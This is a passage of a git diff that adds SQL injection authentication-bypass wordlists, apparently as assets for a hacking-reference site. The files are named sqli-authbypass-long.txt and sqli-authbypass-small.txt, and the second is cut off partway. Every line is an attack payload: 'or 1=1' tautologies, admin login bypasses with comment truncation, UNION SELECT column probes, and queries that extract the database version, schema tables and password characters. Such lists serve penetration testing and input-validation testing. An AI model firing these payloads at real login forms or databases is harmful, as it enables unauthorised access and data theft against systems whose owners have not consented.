+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+
+admin
+admin'-- 2
+admin'#
+admin'/*
+admin"-- 2
+admin"#
+ffifdyop
+
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR'2'='2'oR('
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR"2"="2"oR("
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass-long.txt b/.gitbook/assets/sqli-authbypass-long.txt
new file mode 100644
index 00000000000..5a03da57f0f
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass-long.txt
@@ -0,0 +1,771 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or 0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+
+==
+=
+'
+"
+'-- 2
+'/*
+'#
+"-- 2
+" #
+"/*
+'-'
+'&'
+'^'
+'*'
+'='
+0'<'2
+"-"
+"&"
+"^"
+"*"
+"="
+0"<"2
+
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')<('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")<("2
+
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'<'2'-- 2
+0'<'2'#
+0'<'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"<"2"-- 2
+0"<"2"#
+0"<"2"/*
+
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')<'2'-- 2
+0')<'2'#
+0')<'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")<"2-- 2
+0")<"2#
+0")<"2/*
+
+
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR'2'='2'oR'
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
+"oR"2"="2"oR"
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+
+admin
+admin'-- 2
+admin'#
+admin'/*
+admin"-- 2
+admin"#
+ffifdyop
+
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR'2'='2'oR('
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR"2"="2"oR("
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass-small.txt b/.gitbook/assets/sqli-authbypass-small.txt
new file mode 100644
index 00000000000..331068b4776
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass-small.txt
@@ -0,0 +1,197 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
